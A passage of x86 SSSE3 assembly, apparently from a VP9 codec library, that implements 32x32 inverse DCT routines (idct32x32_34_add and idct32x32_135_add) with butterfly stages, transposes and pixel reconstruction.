; stp1_8 mova [stp + %3 + idx20], m5 mova [stp + %3 + idx21], m14 pmulhrsw m1, [pw_16305x2] ; stp2_15 mova [stp + %3 + idx22], m15 mova m7, m6 pmulhrsw m7, [pw_m4756x2] ; stp2_11 mova [stp + %3 + idx23], m3 pmulhrsw m6, [pw_15679x2] ; stp1_12 ; BLOCK C STAGE 3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m3, m0 ; stp1_8 mova m2, m1 ; stp1_15 ; BLOCK C STAGE 4 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4X 2, 3, 6270, 15137, m8, 9, 10 ; stp1_9, stp1_14 mova m4, m7 ; stp1_11 mova m5, m6 ; stp1_12 BUTTERFLY_4Xmm 5, 4, 6270, 15137, m8, 9, 10 ; stp1_13, stp1_10 ; BLOCK C STAGE 5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 0, 7, 9 ; stp1_8, stp1_11 SUM_SUB 2, 4, 9 ; stp1_9, stp1_10 SUM_SUB 1, 6, 9 ; stp1_15, stp1_12 SUM_SUB 3, 5, 9 ; stp1_14, stp1_13 ; BLOCK C STAGE 6 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ %if 0 ; overflow occurs in SUM_SUB when using test streams mova m10, [pw_11585x2] SUM_SUB 5, 4, 9 pmulhrsw m5, m10 ; stp1_13 pmulhrsw m4, m10 ; stp1_10 SUM_SUB 6, 7, 9 pmulhrsw m6, m10 ; stp1_12 pmulhrsw m7, m10 ; stp1_11 %else BUTTERFLY_4X 5, 4, 11585, 11585, m8, 9, 10 ; stp1_10, stp1_13 SWAP 5, 4 BUTTERFLY_4X 6, 7, 11585, 11585, m8, 9, 10 ; stp1_11, stp1_12 SWAP 6, 7 %endif ; BLOCK C STAGE 7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova [stp + %2 + idx8], m0 mova [stp + %2 + idx9], m2 mova [stp + %2 + idx10], m4 mova [stp + %2 + idx11], m7 ; BLOCK D STAGE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; ; BLOCK D STAGE 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; ; BLOCK D STAGE 3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m11, [rsp + transposed_in + 16 * 4] mova m12, m11 pmulhrsw m11, [pw__3196x2] ; stp1_4 pmulhrsw m12, [pw_16069x2] ; stp1_7 ; BLOCK D STAGE 4 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m0, [rsp + transposed_in + 16 * 0] mova m10, [pw_11585x2] pmulhrsw m0, m10 ; stp1_1 mova m14, m11 ; stp1_4 mova m13, m12 ; stp1_7 ; BLOCK D STAGE 5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ %if 0 ; overflow occurs in SUM_SUB when using test streams SUM_SUB 13, 14, 9 pmulhrsw m13, m10 ; stp1_6 pmulhrsw m14, m10 ; stp1_5 %else BUTTERFLY_4X 13, 14, 11585, 11585, m8, 9, 10 ; stp1_5, stp1_6 SWAP 13, 14 %endif mova m7, m0 ; stp1_0 = stp1_1 mova m4, m0 ; stp1_1 mova m2, m7 ; stp1_0 ; BLOCK D STAGE 6 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 0, 12, 9 ; stp1_0, stp1_7 SUM_SUB 7, 13, 9 ; stp1_1, stp1_6 SUM_SUB 2, 14, 9 ; stp1_2, stp1_5 SUM_SUB 4, 11, 9 ; stp1_3, stp1_4 ; BLOCK D STAGE 7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 0, 1, 9 ; stp1_0, stp1_15 SUM_SUB 7, 3, 9 ; stp1_1, stp1_14 SUM_SUB 2, 5, 9 ; stp1_2, stp1_13 SUM_SUB 4, 6, 9 ; stp1_3, stp1_12 ; 0-3, 28-31 final stage mova m15, [stp + %4 + idx30] mova m10, [stp + %4 + idx31] SUM_SUB 0, 10, 9 ; stp1_0, stp1_31 SUM_SUB 7, 15, 9 ; stp1_1, stp1_30 mova [stp + %1 + idx0], m0 mova [stp + %1 + idx1], m7 mova [stp + %4 + idx30], m15 mova [stp + %4 + idx31], m10 mova m7, [stp + %4 + idx28] mova m0, [stp + %4 + idx29] SUM_SUB 2, 0, 9 ; stp1_2, stp1_29 SUM_SUB 4, 7, 9 ; stp1_3, stp1_28 mova [stp + %1 + idx2], m2 mova [stp + %1 + idx3], m4 mova [stp + %4 + idx28], m7 mova [stp + %4 + idx29], m0 ; 12-15, 16-19 final stage mova m0, [stp + %3 + idx16] mova m7, [stp + %3 + idx17] mova m2, [stp + %3 + idx18] mova m4, [stp + %3 + idx19] SUM_SUB 1, 0, 9 ; stp1_15, stp1_16 SUM_SUB 3, 7, 9 ; stp1_14, stp1_17 SUM_SUB 5, 2, 9 ; stp1_13, stp1_18 SUM_SUB 6, 4, 9 ; stp1_12, stp1_19 mova [stp + %2 + idx12], m6 mova [stp + %2 + idx13], m5 mova [stp + %2 + idx14], m3 mova [stp + %2 + idx15], m1 mova [stp + %3 + idx16], m0 mova [stp + %3 + idx17], m7 mova [stp + %3 + idx18], m2 mova [stp + %3 + idx19], m4 mova m4, [stp + %2 + idx8] mova m5, [stp + %2 + idx9] mova m6, [stp + %2 + idx10] mova m7, [stp + %2 + idx11] SUM_SUB 11, 7, 9 ; stp1_4, stp1_11 SUM_SUB 14, 6, 9 ; stp1_5, stp1_10 SUM_SUB 13, 5, 9 ; stp1_6, stp1_9 SUM_SUB 12, 4, 9 ; stp1_7, stp1_8 ; 4-7, 24-27 final stage mova m0, [stp + %4 + idx27] mova m1, [stp + %4 + idx26] mova m2, [stp + %4 + idx25] mova m3, [stp + %4 + idx24] SUM_SUB 11, 0, 9 ; stp1_4, stp1_27 SUM_SUB 14, 1, 9 ; stp1_5, stp1_26 SUM_SUB 13, 2, 9 ; stp1_6, stp1_25 SUM_SUB 12, 3, 9 ; stp1_7, stp1_24 mova [stp + %4 + idx27], m0 mova [stp + %4 + idx26], m1 mova [stp + %4 + idx25], m2 mova [stp + %4 + idx24], m3 mova [stp + %1 + idx4], m11 mova [stp + %1 + idx5], m14 mova [stp + %1 + idx6], m13 mova [stp + %1 + idx7], m12 ; 8-11, 20-23 final stage mova m0, [stp + %3 + idx20] mova m1, [stp + %3 + idx21] mova m2, [stp + %3 + idx22] mova m3, [stp + %3 + idx23] SUM_SUB 7, 0, 9 ; stp1_11, stp_20 SUM_SUB 6, 1, 9 ; stp1_10, stp_21 SUM_SUB 5, 2, 9 ; stp1_9, stp_22 SUM_SUB 4, 3, 9 ; stp1_8, stp_23 mova [stp + %2 + idx8], m4 mova [stp + %2 + idx9], m5 mova [stp + %2 + idx10], m6 mova [stp + %2 + idx11], m7 mova [stp + %3 + idx20], m0 mova [stp + %3 + idx21], m1 mova [stp + %3 + idx22], m2 mova [stp + %3 + idx23], m3 %endmacro %macro RECON_AND_STORE 1 mova m11, [pw_32] lea stp, [rsp + %1] mov r6, 32 pxor m8, m8 %%recon_and_store: mova m0, [stp + 16 * 32 * 0] mova m1, [stp + 16 * 32 * 1] mova m2, [stp + 16 * 32 * 2] mova m3, [stp + 16 * 32 * 3] add stp, 16 paddw m0, m11 paddw m1, m11 paddw m2, m11 paddw m3, m11 psraw m0, 6 psraw m1, 6 psraw m2, 6 psraw m3, 6 movh m4, [outputq + 0] movh m5, [outputq + 8] movh m6, [outputq + 16] movh m7, [outputq + 24] punpcklbw m4, m8 punpcklbw m5, m8 punpcklbw m6, m8 punpcklbw m7, m8 paddw m0, m4 paddw m1, m5 paddw m2, m6 paddw m3, m7 packuswb m0, m1 packuswb m2, m3 mova [outputq + 0], m0 mova [outputq + 16], m2 lea outputq, [outputq + strideq] dec r6 jnz %%recon_and_store %endmacro %define i32x32_size 16*32*5 %define pass_two_start 16*32*0 %define transposed_in 16*32*4 %define pass_one_start 16*32*0 %define stp r8 INIT_XMM ssse3 cglobal idct32x32_34_add, 3, 11, 16, i32x32_size, input, output, stride mova m8, [pd_8192] lea stp, [rsp + pass_one_start] idct32x32_34: mov r3, inputq lea r4, [rsp + transposed_in] idct32x32_34_transpose: %if CONFIG_VP9_HIGHBITDEPTH mova m0, [r3 + 0] packssdw m0, [r3 + 16] mova m1, [r3 + 32 * 4] packssdw m1, [r3 + 32 * 4 + 16] mova m2, [r3 + 32 * 8] packssdw m2, [r3 + 32 * 8 + 16] mova m3, [r3 + 32 * 12] packssdw m3, [r3 + 32 * 12 + 16] mova m4, [r3 + 32 * 16] packssdw m4, [r3 + 32 * 16 + 16] mova m5, [r3 + 32 * 20] packssdw m5, [r3 + 32 * 20 + 16] mova m6, [r3 + 32 * 24] packssdw m6, [r3 + 32 * 24 + 16] mova m7, [r3 + 32 * 28] packssdw m7, [r3 + 32 * 28 + 16] %else mova m0, [r3 + 0] mova m1, [r3 + 16 * 4] mova m2, [r3 + 16 * 8] mova m3, [r3 + 16 * 12] mova m4, [r3 + 16 * 16] mova m5, [r3 + 16 * 20] mova m6, [r3 + 16 * 24] mova m7, [r3 + 16 * 28] %endif TRANSPOSE8X8 0, 1, 2, 3, 4, 5, 6, 7, 9 IDCT32X32_34 16*0, 16*32, 16*64, 16*96 lea stp, [stp + 16 * 8] mov r6, 4 lea stp, [rsp + pass_one_start] lea r9, [rsp + pass_one_start] idct32x32_34_2: lea r4, [rsp + transposed_in] mov r3, r9 idct32x32_34_transpose_2: mova m0, [r3 + 0] mova m1, [r3 + 16 * 1] mova m2, [r3 + 16 * 2] mova m3, [r3 + 16 * 3] mova m4, [r3 + 16 * 4] mova m5, [r3 + 16 * 5] mova m6, [r3 + 16 * 6] mova m7, [r3 + 16 * 7] TRANSPOSE8X8 0, 1, 2, 3, 4, 5, 6, 7, 9 IDCT32X32_34 16*0, 16*8, 16*16, 16*24 lea stp, [stp + 16 * 32] add r9, 16 * 32 dec r6 jnz idct32x32_34_2 RECON_AND_STORE pass_two_start RET %macro IDCT32X32_135 4 ; BLOCK A STAGE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m1, [rsp + transposed_in + 16 * 1] mova m11, m1 pmulhrsw m1, [pw___804x2] ; stp1_16 pmulhrsw m11, [pw_16364x2] ; stp2_31 mova m7, [rsp + transposed_in + 16 * 7] mova m12, m7 pmulhrsw m7, [pw_15426x2] ; stp1_28 pmulhrsw m12, [pw_m5520x2] ; stp2_19 mova m3, [rsp + transposed_in + 16 * 9] mova m4, m3 pmulhrsw m3, [pw__7005x2] ; stp1_18 pmulhrsw m4, [pw_14811x2] ; stp2_29 mova m0, [rsp + transposed_in + 16 * 15] mova m2, m0 pmulhrsw m0, [pw_12140x2] ; stp1_30 pmulhrsw m2, [pw_m11003x2] ; stp2_17 ; BLOCK A STAGE 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 1, 2, 9 ; stp2_16, stp2_17 SUM_SUB 12, 3, 9 ; stp2_19, stp2_18 SUM_SUB 7, 4, 9 ; stp2_28, stp2_29 SUM_SUB 11, 0, 9 ; stp2_31, stp2_30 ; BLOCK A STAGE 3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4X 0, 2, 3196, 16069, m8, 9, 10 ; stp1_17, stp1_30 BUTTERFLY_4Xmm 4, 3, 3196, 16069, m8, 9, 10 ; stp1_29, stp1_18 ; BLOCK A STAGE 4 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 1, 12, 9 ; stp2_16, stp2_19 SUM_SUB 0, 3, 9 ; stp2_17, stp2_18 SUM_SUB 11, 7, 9 ; stp2_31, stp2_28 SUM_SUB 2, 4, 9 ; stp2_30, stp2_29 ; BLOCK A STAGE 5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4X 4, 3, 6270, 15137, m8, 9, 10 ; stp1_18, stp1_29 BUTTERFLY_4X 7, 12, 6270, 15137, m8, 9, 10 ; stp1_19, stp1_28 mova [stp + %3 + idx16], m1 mova [stp + %3 + idx17], m0 mova [stp + %3 + idx18], m4 mova [stp + %3 + idx19], m7 mova [stp + %4 + idx28], m12 mova [stp + %4 + idx29], m3 mova [stp + %4 + idx30], m2 mova [stp + %4 + idx31], m11 ; BLOCK B STAGE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m2, [rsp + transposed_in + 16 * 3] mova m3, m2 pmulhrsw m3, [pw_m2404x2] ; stp1_23 pmulhrsw m2, [pw_16207x2] ; stp2_24 mova m5, [rsp + transposed_in + 16 * 5] mova m6, m5 pmulhrsw m5, [pw__3981x2] ; stp1_20 pmulhrsw m6, [pw_15893x2] ; stp2_27 mova m14, [rsp + transposed_in + 16 * 11] mova m13, m14 pmulhrsw m13, [pw_m8423x2] ; stp1_21 pmulhrsw m14, [pw_14053x2] ; stp2_26 mova m0, [rsp + transposed_in + 16 * 13] mova m1, m0 pmulhrsw m0, [pw__9760x2] ; stp1_22 pmulhrsw m1, [pw_13160x2] ; stp2_25 ; BLOCK B STAGE 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 5, 13, 9 ; stp2_20, stp2_21 SUM_SUB 3, 0, 9 ; stp2_23, stp2_22 SUM_SUB 2, 1, 9 ; stp2_24, stp2_25 SUM_SUB 6, 14, 9 ; stp2_27, stp2_26 ; BLOCK B STAGE 3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4X 14, 13, 13623, 9102, m8, 9, 10 ; stp1_21, stp1_26 BUTTERFLY_4Xmm 1, 0, 13623, 9102, m8, 9, 10 ; stp1_25, stp1_22 ; BLOCK B STAGE 4 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 3, 5, 9 ; stp2_23, stp2_20 SUM_SUB 0, 14, 9 ; stp2_22, stp2_21 SUM_SUB 2, 6, 9 ; stp2_24, stp2_27 SUM_SUB 1, 13, 9 ; stp2_25, stp2_26 ; BLOCK B STAGE 5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4Xmm 6, 5, 6270, 15137, m8, 9, 10 ; stp1_27, stp1_20 BUTTERFLY_4Xmm 13, 14, 6270, 15137, m8, 9, 10 ; stp1_26, stp1_21 ; BLOCK B STAGE 6 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m4, [stp + %3 + idx16] mova m7, [stp + %3 + idx17] mova m11, [stp + %3 + idx18] mova m12, [stp + %3 + idx19] SUM_SUB 4, 3, 9 ; stp2_16, stp2_23 SUM_SUB 7, 0, 9 ; stp2_17, stp2_22 SUM_SUB 11, 14, 9 ; stp2_18, stp2_21 SUM_SUB 12, 5, 9 ; stp2_19, stp2_20 mova [stp + %3 + idx16], m4 mova [stp + %3 + idx17], m7 mova [stp + %3 + idx18], m11 mova [stp + %3 + idx19], m12 mova m4, [stp + %4 + idx28] mova m7, [stp + %4 + idx29] mova m11, [stp + %4 + idx30] mova m12, [stp + %4 + idx31] SUM_SUB 4, 6, 9 ; stp2_28, stp2_27 SUM_SUB 7, 13, 9 ; stp2_29, stp2_26 SUM_SUB 11, 1, 9 ; stp2_30, stp2_25 SUM_SUB 12, 2, 9 ; stp2_31, stp2_24 mova [stp + %4 + idx28], m4 mova [stp + %4 + idx29], m7 mova [stp + %4 + idx30], m11 mova [stp + %4 + idx31], m12 ; BLOCK B STAGE 7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ %if 0 ; overflow occurs in SUM_SUB when using test streams mova m10, [pw_11585x2] SUM_SUB 6, 5, 9 pmulhrsw m6, m10 ; stp1_27 pmulhrsw m5, m10 ; stp1_20 SUM_SUB 13, 14, 9 pmulhrsw m13, m10 ; stp1_26 pmulhrsw m14, m10 ; stp1_21 SUM_SUB 1, 0, 9 pmulhrsw m1, m10 ; stp1_25 pmulhrsw m0, m10 ; stp1_22 SUM_SUB 2, 3, 9 pmulhrsw m2, m10 ; stp1_25 pmulhrsw m3, m10 ; stp1_22 %else BUTTERFLY_4X 6, 5, 11585, 11585, m8, 9, 10 ; stp1_20, stp1_27 SWAP 6, 5 BUTTERFLY_4X 13, 14, 11585, 11585, m8, 9, 10 ; stp1_21, stp1_26 SWAP 13, 14 BUTTERFLY_4X 1, 0, 11585, 11585, m8, 9, 10 ; stp1_22, stp1_25 SWAP 1, 0 BUTTERFLY_4X 2, 3, 11585, 11585, m8, 9, 10 ; stp1_23, stp1_24 SWAP 2, 3 %endif mova [stp + %3 + idx20], m5 mova [stp + %3 + idx21], m14 mova [stp + %3 + idx22], m0 mova [stp + %3 + idx23], m3 mova [stp + %4 + idx24], m2 mova [stp + %4 + idx25], m1 mova [stp + %4 + idx26], m13 mova [stp + %4 + idx27], m6 ; BLOCK C STAGE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; ; BLOCK C STAGE 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m0, [rsp + transposed_in + 16 * 2] mova m1, m0 pmulhrsw m0, [pw__1606x2] ; stp1_8 pmulhrsw m1, [pw_16305x2] ; stp2_15 mova m6, [rsp + transposed_in + 16 * 6] mova m7, m6 pmulhrsw m7, [pw_m4756x2] ; stp2_11 pmulhrsw m6, [pw_15679x2] ; stp1_12 mova m4, [rsp + transposed_in + 16 * 10] mova m5, m4 pmulhrsw m4, [pw__7723x2] ; stp1_10 pmulhrsw m5, [pw_14449x2] ; stp2_13 mova m2, [rsp + transposed_in + 16 * 14] mova m3, m2 pmulhrsw m3, [pw_m10394x2] ; stp1_9 pmulhrsw m2, [pw_12665x2] ; stp2_14 ; BLOCK C STAGE 3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 0, 3, 9 ; stp1_8, stp1_9 SUM_SUB 7, 4, 9 ; stp1_11, stp1_10 SUM_SUB 6, 5, 9 ; stp1_12, stp1_13 SUM_SUB 1, 2, 9 ; stp1_15, stp1_14 ; BLOCK C STAGE 4 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4X 2, 3, 6270, 15137, m8, 9, 10 ; stp1_9, stp1_14 BUTTERFLY_4Xmm 5, 4, 6270, 15137, m8, 9, 10 ; stp1_13, stp1_10 ; BLOCK C STAGE 5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 0, 7, 9 ; stp1_8, stp1_11 SUM_SUB 2, 4, 9 ; stp1_9, stp1_10 SUM_SUB 1, 6, 9 ; stp1_15, stp1_12 SUM_SUB 3, 5, 9 ; stp1_14, stp1_13 ; BLOCK C STAGE 6 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ %if 0 ; overflow occurs in SUM_SUB when using test streams mova m10, [pw_11585x2] SUM_SUB 5, 4, 9 pmulhrsw m5, m10 ; stp1_13 pmulhrsw m4, m10 ; stp1_10 SUM_SUB 6, 7, 9 pmulhrsw m6, m10 ; stp1_12 pmulhrsw m7, m10 ; stp1_11 %else BUTTERFLY_4X 5, 4, 11585, 11585, m8, 9, 10 ; stp1_10, stp1_13 SWAP 5, 4 BUTTERFLY_4X 6, 7, 11585, 11585, m8, 9, 10 ; stp1_11, stp1_12 SWAP 6, 7 %endif ; BLOCK C STAGE 7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova [stp + %2 + idx8], m0 mova [stp + %2 + idx9], m2 mova [stp + %2 + idx10], m4 mova [stp + %2 + idx11], m7 mova [stp + %2 + idx12], m6 mova [stp + %2 + idx13], m5 mova [stp + %2 + idx14], m3 mova [stp + %2 + idx15], m1 ; BLOCK D STAGE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; ; BLOCK D STAGE 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; ; BLOCK D STAGE 3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m11, [rsp + transposed_in + 16 * 4] mova m12, m11 pmulhrsw m11, [pw__3196x2] ; stp1_4 pmulhrsw m12, [pw_16069x2] ; stp1_7 mova m13, [rsp + transposed_in + 16 * 12] mova m14, m13 pmulhrsw m13, [pw_13623x2] ; stp1_6 pmulhrsw m14, [pw_m9102x2] ; stp1_5 ; BLOCK D STAGE 4 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m0, [rsp + transposed_in + 16 * 0] mova m2, [rsp + transposed_in + 16 * 8] pmulhrsw m0, [pw_11585x2] ; stp1_1 mova m3, m2 pmulhrsw m2, [pw__6270x2] ; stp1_2 pmulhrsw m3, [pw_15137x2] ; stp1_3 SUM_SUB 11, 14, 9 ; stp1_4, stp1_5 SUM_SUB 12, 13, 9 ; stp1_7, stp1_6 ; BLOCK D STAGE 5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ %if 0 ; overflow occurs in SUM_SUB when using test streams mova m10, [pw_11585x2] SUM_SUB 13, 14, 9 pmulhrsw m13, m10 ; stp1_6 pmulhrsw m14, m10 ; stp1_5 %else BUTTERFLY_4X 13, 14, 11585, 11585, m8, 9, 10 ; stp1_5, stp1_6 SWAP 13, 14 %endif mova m1, m0 ; stp1_0 = stp1_1 SUM_SUB 0, 3, 9 ; stp1_0, stp1_3 SUM_SUB 1, 2, 9 ; stp1_1, stp1_2 ; BLOCK D STAGE 6 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 0, 12, 9 ; stp1_0, stp1_7 SUM_SUB 1, 13, 9 ; stp1_1, stp1_6 SUM_SUB 2, 14, 9 ; stp1_2, stp1_5 SUM_SUB 3, 11, 9 ; stp1_3, stp1_4 ; BLOCK D STAGE 7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m4, [stp + %2 + idx12] mova m5, [stp + %2 + idx13] mova m6, [stp + %2 + idx14] mova m7, [stp + %2 + idx15] SUM_SUB 0, 7, 9 ; stp1_0, stp1_15 SUM_SUB 1, 6, 9 ; stp1_1, stp1_14 SUM_SUB 2, 5, 9 ; stp1_2, stp1_13 SUM_SUB 3, 4, 9 ; stp1_3, stp1_12 ; 0-3, 28-31 final stage mova m10, [stp + %4 + idx31] mova m15, [stp + %4 + idx30] SUM_SUB 0, 10, 9 ; stp1_0, stp1_31 SUM_SUB 1, 15, 9 ; stp1_1, stp1_30 mova [stp + %1 + idx0], m0 mova [stp + %1 + idx1], m1 mova [stp + %4 + idx31], m10 mova [stp + %4 + idx30], m15 mova m0, [stp + %4 + idx29] mova m1, [stp + %4 + idx28] SUM_SUB 2, 0, 9 ; stp1_2, stp1_29 SUM_SUB 3, 1, 9 ; stp1_3, stp1_28 mova [stp + %1 + idx2], m2 mova [stp + %1 + idx3], m3 mova [stp + %4 + idx29], m0 mova [stp + %4 + idx28], m1 ; 12-15, 16-19 final stage mova m0, [stp + %3 + idx16] mova m1, [stp + %3 + idx17] mova m2, [stp + %3 + idx18] mova m3, [stp + %3 + idx19] SUM_SUB 7, 0, 9 ; stp1_15, stp1_16 SUM_SUB 6, 1, 9 ; stp1_14, stp1_17 SUM_SUB 5, 2, 9 ; stp1_13, stp1_18 SUM_SUB 4, 3, 9 ; stp1_12, stp1_19 mova [stp + %2 + idx12], m4 mova [stp + %2 + idx13], m5 mova [stp + %2 + idx14], m6 mova [stp + %2 + idx15], m7 mova [stp + %3 + idx16], m0 mova [stp + %3 + idx17], m1 mova [stp + %3 + idx18], m2 mova [stp + %3 + idx19], m3 mova m4, [stp + %2 + idx8] mova m5, [stp + %2 + idx9] mova m6, [stp + %2 + idx10] mova m7, [stp + %2 + idx11] SUM_SUB 11, 7, 9 ; stp1_4, stp1_11 SUM_SUB 14, 6, 9 ; stp1_5, stp1_10 SUM_SUB 13, 5, 9 ; stp1_6, stp1_9 SUM_SUB 12, 4, 9 ; stp1_7, stp1_8 ; 4-7, 24-27 final stage mova m3, [stp + %4 + idx24] mova m2, [stp + %4 + idx25] mova m1, [stp + %4 + idx26] mova m0, [stp + %4 + idx27] SUM_SUB 12, 3, 9 ; stp1_7, stp1_24 SUM_SUB 13, 2, 9 ; stp1_6, stp1_25 SUM_SUB 14, 1, 9 ; stp1_5, stp1_26 SUM_SUB 11, 0, 9 ; stp1_4, stp1_27 mova [stp + %4 + idx24], m3 mova [stp + %4 + idx25], m2 mova [stp + %4 + idx26], m1 mova [stp + %4 + idx27], m0 mova [stp + %1 + idx4], m11 mova [stp + %1 + idx5], m14 mova [stp + %1 + idx6], m13 mova [stp + %1 + idx7], m12 ; 8-11, 20-23 final stage mova m0, [stp + %3 + idx20] mova m1, [stp + %3 + idx21] mova m2, [stp + %3 + idx22] mova m3, [stp + %3 + idx23] SUM_SUB 7, 0, 9 ; stp1_11, stp_20 SUM_SUB 6, 1, 9 ; stp1_10, stp_21 SUM_SUB 5, 2, 9 ; stp1_9, stp_22 SUM_SUB 4, 3, 9 ; stp1_8, stp_23 mova [stp + %2 + idx8], m4 mova [stp + %2 + idx9], m5 mova [stp + %2 + idx10], m6 mova [stp + %2 + idx11], m7 mova [stp + %3 + idx20], m0 mova [stp + %3 + idx21], m1 mova [stp + %3 + idx22], m2 mova [stp + %3 + idx23], m3 %endmacro INIT_XMM ssse3 cglobal idct32x32_135_add, 3, 11, 16, i32x32_size, input, output, stride mova m8, [pd_8192] mov r6, 2 lea stp, [rsp + pass_one_start] idct32x32_135: mov r3, inputq lea r4, [rsp + transposed_in] mov r7, 2 idct32x32_135_transpose: %if CONFIG_VP9_HIGHBITDEPTH mova m0, [r3 + 0] packssdw m0, [r3 + 16] mova m1, [r3 + 32 * 4] packssdw m1, [r3 + 32 * 4 + 16] mova m2, [r3 + 32 * 8] packssdw m2, [r3 + 32 * 8 + 16] mova m3, [r3 + 32 * 12] packssdw m3, [r3 + 32 * 12 + 16] mova m4, [r3 + 32 * 16] packssdw m4, [r3 + 32 * 16 + 16] mova m5, [r3 + 32 * 20] packssdw m5, [r3 + 32 * 20 + 16] mova m6, [r3 + 32 * 24] packssdw m6, [r3 + 32 * 24 + 16] mova m7, [r3 + 32 * 28] packssdw m7, [r3 + 32 * 28 + 16] %else mova m0, [r3 + 0] mova m1, [r3 + 16 * 4] mova m2, [r3 + 16 * 8] mova m3, [r3 + 16 * 12] mova m4, [r3 + 16 * 16] mova m5, [r3 + 16 * 20] mova m6, [r3 + 16 * 24] mova m7, [r3 + 16 * 28] %endif TRANSPOSE8X8 0, 1, 2, 3, 4, 5, 6, 7, 9 mova [r4 + 0], m0 mova [r4 + 16 * 1], m1 mova [r4 + 16 * 2], m2 mova [r4 + 16 * 3], m3 mova [r4 + 16 * 4], m4 mova [r4 + 16 * 5], m5 mova [r4 + 16 * 6], m6 mova [r4 + 16 * 7], m7 %if CONFIG_VP9_HIGHBITDEPTH add r3, 32 %else add r3, 16 %endif add r4, 16 * 8 dec r7 jne idct32x32_135_transpose IDCT32X32_135 16*0, 16*32, 16*64, 16*96 lea stp, [stp + 16 * 8] %if CONFIG_VP9_HIGHBITDEPTH lea inputq, [inputq + 32 * 32] %else lea inputq, [inputq + 16 * 32] %endif dec r6 jnz idct32x32_135 mov r6, 4 lea stp, [rsp + pass_one_start] lea r9, [rsp + pass_one_start] idct32x32_135_2: lea r4, [rsp + transposed_in] mov r3, r9 mov r7, 2 idct32x32_135_transpose_2: mova m0, [r3 + 0] mova m1, [r3 + 16 * 1] mova m2, [r3 + 16 * 2] mova m3, [r3 + 16 * 3] mova m4, [r3 + 16 * 4] mova m5, [r3 + 16 * 5] mova m6, [r3 + 16 * 6] mova m7, 